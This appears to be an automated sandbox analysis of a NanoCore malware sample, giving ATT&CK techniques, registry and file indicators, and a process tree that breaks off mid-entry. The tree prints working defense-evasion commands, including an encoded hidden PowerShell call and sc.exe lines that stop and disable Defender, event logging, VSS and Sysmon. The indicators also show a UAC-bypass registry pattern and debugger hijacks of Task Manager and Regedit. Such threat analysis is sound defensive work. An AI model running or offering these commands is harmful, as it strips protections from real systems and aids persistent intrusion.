nanocore | cedcec5a9ee57d9c664c7f500dc3d5bf08b1f3021224540342b208b2cfc157d2

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	tmahalrestaurant.com_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	tmahalrestaurant.com_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4920	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	tmahalrestaurant.com_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	tmahalrestaurant.com_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tmahalrestaurant.com_nano.exe"	tmahalrestaurant.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	tmahalrestaurant.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tmahalrestaurant.com_nano.exe"	tmahalrestaurant.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	tmahalrestaurant.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tmahalrestaurant.com_nano.exe"	tmahalrestaurant.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	tmahalrestaurant.com_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4412	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	tmahalrestaurant.com_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	tmahalrestaurant.com_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	tmahalrestaurant.com_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	tmahalrestaurant.com_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tmahalrestaurant.com_nano.exe"	tmahalrestaurant.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tmahalrestaurant.com_nano.exe"	tmahalrestaurant.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tmahalrestaurant.com_nano.exe"	tmahalrestaurant.com_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1484	net.exe
1304	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2052	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	tmahalrestaurant.com_nano.exe
File created	C:\Windows\system32\sysupdate.exe	tmahalrestaurant.com_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	tmahalrestaurant.com_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	tmahalrestaurant.com_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	tmahalrestaurant.com_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	tmahalrestaurant.com_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3428	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	tmahalrestaurant.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	tmahalrestaurant.com_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
1916	tmahalrestaurant.com_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
900	sc.exe
4704	sc.exe
4652	sc.exe
2024	sc.exe
3368	sc.exe
1212	sc.exe
3676	sc.exe
888	sc.exe
740	sc.exe
4144	sc.exe
3868	sc.exe
3676	sc.exe
4116	sc.exe
2784	sc.exe
3328	sc.exe
5064	sc.exe
4548	sc.exe
3992	sc.exe
2444	sc.exe
4040	sc.exe
888	sc.exe
2708	sc.exe
2012	sc.exe
5020	sc.exe
2744	sc.exe
3432	sc.exe
2320	sc.exe
2540	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4792	cmd.exe
3092	cmd.exe
4980	cmd.exe
4552	cmd.exe
2156	cmd.exe
3328	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	tmahalrestaurant.com_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	tmahalrestaurant.com_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1800	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4444	NETSTAT.EXE
3300	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4976	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2956	vssadmin.exe
2572	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\WallpaperStyle = "2"	tmahalrestaurant.com_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings	tmahalrestaurant.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	tmahalrestaurant.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tmahalrestaurant.com_nano.exe"	tmahalrestaurant.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	tmahalrestaurant.com_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tmahalrestaurant.com_nano.exe\" \"%1\""	tmahalrestaurant.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell	tmahalrestaurant.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings	tmahalrestaurant.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell\open\command	tmahalrestaurant.com_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell\open	tmahalrestaurant.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell\open\command	tmahalrestaurant.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell	tmahalrestaurant.com_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell\open	tmahalrestaurant.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell\open\command\DelegateExecute	tmahalrestaurant.com_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\.pdf\ = "PDFBotnet"	tmahalrestaurant.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	tmahalrestaurant.com_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	tmahalrestaurant.com_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3788	schtasks.exe
4768	schtasks.exe
2432	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4920	powershell.exe
4920	powershell.exe
4920	powershell.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe
1916	tmahalrestaurant.com_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1916	tmahalrestaurant.com_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeIncreaseQuotaPrivilege	5052	WMIC.exe
Token: SeSecurityPrivilege	5052	WMIC.exe
Token: SeTakeOwnershipPrivilege	5052	WMIC.exe
Token: SeLoadDriverPrivilege	5052	WMIC.exe
Token: SeSystemProfilePrivilege	5052	WMIC.exe
Token: SeSystemtimePrivilege	5052	WMIC.exe
Token: SeProfSingleProcessPrivilege	5052	WMIC.exe
Token: SeIncBasePriorityPrivilege	5052	WMIC.exe
Token: SeCreatePagefilePrivilege	5052	WMIC.exe
Token: SeBackupPrivilege	5052	WMIC.exe
Token: SeRestorePrivilege	5052	WMIC.exe
Token: SeShutdownPrivilege	5052	WMIC.exe
Token: SeDebugPrivilege	5052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5052	WMIC.exe
Token: SeRemoteShutdownPrivilege	5052	WMIC.exe
Token: SeUndockPrivilege	5052	WMIC.exe
Token: SeManageVolumePrivilege	5052	WMIC.exe
Token: 33	5052	WMIC.exe
Token: 34	5052	WMIC.exe
Token: 35	5052	WMIC.exe
Token: 36	5052	WMIC.exe
Token: SeDebugPrivilege	1916	tmahalrestaurant.com_nano.exe
Token: SeIncreaseQuotaPrivilege	5052	WMIC.exe
Token: SeSecurityPrivilege	5052	WMIC.exe
Token: SeTakeOwnershipPrivilege	5052	WMIC.exe
Token: SeLoadDriverPrivilege	5052	WMIC.exe
Token: SeSystemProfilePrivilege	5052	WMIC.exe
Token: SeSystemtimePrivilege	5052	WMIC.exe
Token: SeProfSingleProcessPrivilege	5052	WMIC.exe
Token: SeIncBasePriorityPrivilege	5052	WMIC.exe
Token: SeCreatePagefilePrivilege	5052	WMIC.exe
Token: SeBackupPrivilege	5052	WMIC.exe
Token: SeRestorePrivilege	5052	WMIC.exe
Token: SeShutdownPrivilege	5052	WMIC.exe
Token: SeDebugPrivilege	5052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5052	WMIC.exe
Token: SeRemoteShutdownPrivilege	5052	WMIC.exe
Token: SeUndockPrivilege	5052	WMIC.exe
Token: SeManageVolumePrivilege	5052	WMIC.exe
Token: 33	5052	WMIC.exe
Token: 34	5052	WMIC.exe
Token: 35	5052	WMIC.exe
Token: 36	5052	WMIC.exe
Token: SeIncBasePriorityPrivilege	1916	tmahalrestaurant.com_nano.exe
Token: SeDebugPrivilege	2052	tasklist.exe
Token: SeDebugPrivilege	4444	NETSTAT.EXE
Token: SeDebugPrivilege	4468	whoami.exe
Token: SeIncreaseQuotaPrivilege	3832	WMIC.exe
Token: SeSecurityPrivilege	3832	WMIC.exe
Token: SeTakeOwnershipPrivilege	3832	WMIC.exe
Token: SeLoadDriverPrivilege	3832	WMIC.exe
Token: SeSystemProfilePrivilege	3832	WMIC.exe
Token: SeSystemtimePrivilege	3832	WMIC.exe
Token: SeProfSingleProcessPrivilege	3832	WMIC.exe
Token: SeIncBasePriorityPrivilege	3832	WMIC.exe
Token: SeCreatePagefilePrivilege	3832	WMIC.exe
Token: SeBackupPrivilege	3832	WMIC.exe
Token: SeRestorePrivilege	3832	WMIC.exe
Token: SeShutdownPrivilege	3832	WMIC.exe
Token: SeDebugPrivilege	3832	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3832	WMIC.exe
Token: SeRemoteShutdownPrivilege	3832	WMIC.exe
Token: SeUndockPrivilege	3832	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1916	tmahalrestaurant.com_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 1916 wrote to memory of 4920	1916	tmahalrestaurant.com_nano.exe	85
PID 1916 wrote to memory of 888	1916	tmahalrestaurant.com_nano.exe	180
PID 1916 wrote to memory of 900	1916	tmahalrestaurant.com_nano.exe	88
PID 1916 wrote to memory of 740	1916	tmahalrestaurant.com_nano.exe	90
PID 1916 wrote to memory of 5064	1916	tmahalrestaurant.com_nano.exe	93
PID 1916 wrote to memory of 4548	1916	tmahalrestaurant.com_nano.exe	95
PID 1916 wrote to memory of 4144	1916	tmahalrestaurant.com_nano.exe	97
PID 1916 wrote to memory of 4704	1916	tmahalrestaurant.com_nano.exe	99
PID 1916 wrote to memory of 3992	1916	tmahalrestaurant.com_nano.exe	101
PID 1916 wrote to memory of 4652	1916	tmahalrestaurant.com_nano.exe	103
PID 1916 wrote to memory of 2708	1916	tmahalrestaurant.com_nano.exe	104
PID 1916 wrote to memory of 3868	1916	tmahalrestaurant.com_nano.exe	107
PID 1916 wrote to memory of 2012	1916	tmahalrestaurant.com_nano.exe	109
PID 1916 wrote to memory of 3676	1916	tmahalrestaurant.com_nano.exe	181
PID 1916 wrote to memory of 4116	1916	tmahalrestaurant.com_nano.exe	113
PID 1916 wrote to memory of 2784	1916	tmahalrestaurant.com_nano.exe	115
PID 1916 wrote to memory of 5020	1916	tmahalrestaurant.com_nano.exe	117
PID 1916 wrote to memory of 2744	1916	tmahalrestaurant.com_nano.exe	119
PID 1916 wrote to memory of 3432	1916	tmahalrestaurant.com_nano.exe	121
PID 1916 wrote to memory of 3328	1916	tmahalrestaurant.com_nano.exe	159
PID 1916 wrote to memory of 2320	1916	tmahalrestaurant.com_nano.exe	167
PID 1916 wrote to memory of 2024	1916	tmahalrestaurant.com_nano.exe	127
PID 1916 wrote to memory of 3368	1916	tmahalrestaurant.com_nano.exe	129
PID 1916 wrote to memory of 2444	1916	tmahalrestaurant.com_nano.exe	131
PID 1916 wrote to memory of 1212	1916	tmahalrestaurant.com_nano.exe	133
PID 1916 wrote to memory of 4408	1916	tmahalrestaurant.com_nano.exe	134
PID 1916 wrote to memory of 4040	1916	tmahalrestaurant.com_nano.exe	136
PID 1916 wrote to memory of 2540	1916	tmahalrestaurant.com_nano.exe	138
PID 1916 wrote to memory of 2956	1916	tmahalrestaurant.com_nano.exe	140
PID 1916 wrote to memory of 5052	1916	tmahalrestaurant.com_nano.exe	142
PID 1916 wrote to memory of 2432	1916	tmahalrestaurant.com_nano.exe	144
PID 1916 wrote to memory of 3788	1916	tmahalrestaurant.com_nano.exe	146
PID 4408 wrote to memory of 4764	4408	fodhelper.exe	148
PID 1916 wrote to memory of 4552	1916	tmahalrestaurant.com_nano.exe	154
PID 1916 wrote to memory of 4980	1916	tmahalrestaurant.com_nano.exe	156
PID 1916 wrote to memory of 3092	1916	tmahalrestaurant.com_nano.exe	157
PID 1916 wrote to memory of 4792	1916	tmahalrestaurant.com_nano.exe	158
PID 1916 wrote to memory of 3328	1916	tmahalrestaurant.com_nano.exe	159
PID 1916 wrote to memory of 2156	1916	tmahalrestaurant.com_nano.exe	160
PID 1916 wrote to memory of 4768	1916	tmahalrestaurant.com_nano.exe	161
PID 1916 wrote to memory of 3428	1916	tmahalrestaurant.com_nano.exe	168
PID 1916 wrote to memory of 2480	1916	tmahalrestaurant.com_nano.exe	169
PID 3328 wrote to memory of 3300	3328	cmd.exe	170
PID 3092 wrote to memory of 2052	3092	cmd.exe	171
PID 4980 wrote to memory of 4976	4980	cmd.exe	172
PID 2156 wrote to memory of 4444	2156	cmd.exe	173
PID 4792 wrote to memory of 4468	4792	cmd.exe	174
PID 4552 wrote to memory of 2572	4552	cmd.exe	175
PID 4552 wrote to memory of 3832	4552	cmd.exe	176
PID 1916 wrote to memory of 3984	1916	tmahalrestaurant.com_nano.exe	177
PID 1916 wrote to memory of 4412	1916	tmahalrestaurant.com_nano.exe	179
PID 1916 wrote to memory of 888	1916	tmahalrestaurant.com_nano.exe	180
PID 1916 wrote to memory of 3676	1916	tmahalrestaurant.com_nano.exe	181
PID 1916 wrote to memory of 3284	1916	tmahalrestaurant.com_nano.exe	182
PID 1916 wrote to memory of 1800	1916	tmahalrestaurant.com_nano.exe	183
PID 3984 wrote to memory of 3064	3984	net.exe	188
PID 1916 wrote to memory of 1484	1916	tmahalrestaurant.com_nano.exe	190
PID 1916 wrote to memory of 2472	1916	tmahalrestaurant.com_nano.exe	192
PID 2472 wrote to memory of 4288	2472	net.exe	194
PID 1484 wrote to memory of 1304	1484	net.exe	195

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\tmahalrestaurant.com_nano.exe
"C:\Users\Admin\AppData\Local\Temp\tmahalrestaurant.com_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:888
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:900
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:740
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5064
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4548
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4144
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4704
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3992
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4652
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:2708
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:3868
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:2012
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:3676
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:4116
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:2784
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:5020
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:2744
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:3432
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:3328
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:2320
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:2024
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
